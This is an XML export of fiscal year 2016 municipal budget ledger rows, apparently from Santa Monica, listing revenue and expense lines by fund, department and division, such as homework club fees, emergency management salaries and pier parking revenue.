<row _id="21923"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-60000</total></row>
<row _id="21924"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409061.0</object><object_description>SMSE-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2355</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2355</total></row>
<row _id="21925"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-39980</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-39980</total></row>
<row _id="21926"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407202.0</object><object_description>ROSIE'S GIRLS-MATERIALS FEES</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-5100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5100</total></row>
<row _id="21927"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-122728</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-122728</total></row>
<row _id="21928"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>64485</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64485</total></row>
<row _id="21929"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>409320.0</object><object_description>BIKESHARE PROGRAM FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-650000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-650000</total></row>
<row _id="21930"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511017.0</object><object_description>PERMANENT EMPLOY SWORN POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>246417</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>246417</total></row>
<row _id="21931"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>349738</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>349738</total></row>
<row _id="21932"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
<row _id="21933"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>606</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>606</total></row>
<row _id="21934"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2672</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2672</total></row>
<row _id="21935"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>53745</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>53745</total></row>
<row _id="21936"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2287426</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2287426</total></row>
<row _id="21937"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>39441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39441</total></row>
<row _id="21938"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>32232</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>32232</total></row>
<row _id="21939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17550</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17550</total></row>
<row _id="21940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="21941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408580.0</object><object_description>ALARM REGISTRATION FEE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-156946</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-156946</total></row>
<row _id="21942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401132.0</object><object_description>SOFTBALL LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-89100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-89100</total></row>
<row _id="21943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1863</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1863</total></row>
<row _id="21944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544145.0</object><object_description>SIDEWALK MATERIALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19100</total></row>
<row _id="21949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>168300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>168300</total></row>
<row _id="21950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>434388</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>434388</total></row>
<row _id="21951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401133.0</object><object_description>BASKETBALL LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-24300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24300</total></row>
<row _id="21952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>566581.0</object><object_description>EMT CERTIFICATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="21954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>544126.0</object><object_description>PRINTING - TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="21955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-500</total></row>
<row _id="21957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500</total></row>
<row _id="21958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>26441</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>26441</total></row>
<row _id="21959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>287000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>287000</total></row>
<row _id="21960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>23002</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>23002</total></row>
<row _id="21961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409190.0</object><object_description>COMMERCIAL INSTRUCTOR PERMIT F</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-2300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2300</total></row>
<row _id="21962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407180.0</object><object_description>VALET LICENSING FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-102000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-102000</total></row>
<row _id="21963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>408230.0</object><object_description>MIDTOWN PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2016</fiscal_year><july>-225000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-225000</total></row>
<row _id="21964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>29992</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>29992</total></row>
<row _id="21965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407692.0</object><object_description>TAXI VEHICLE PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-22176</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22176</total></row>
<row _id="21966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402020.0</object><object_description>SM PIER - PARKING LOTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1515866</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1515866</total></row>
<row _id="21967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>401830.0</object><object_description>VENDOR RENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-241331</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-241331</total></row>
<row _id="21968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>402040.0</object><object_description>SM PIER - OTHER REVENUES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="21969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>55434</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>55434</total></row>
<row _id="21970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511744.0</object><object_description>MED TRUST - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1770</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1770</total></row>
<row _id="21971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511771.0</object><object_description>RETIREMENT - POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>120305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120305</total></row>
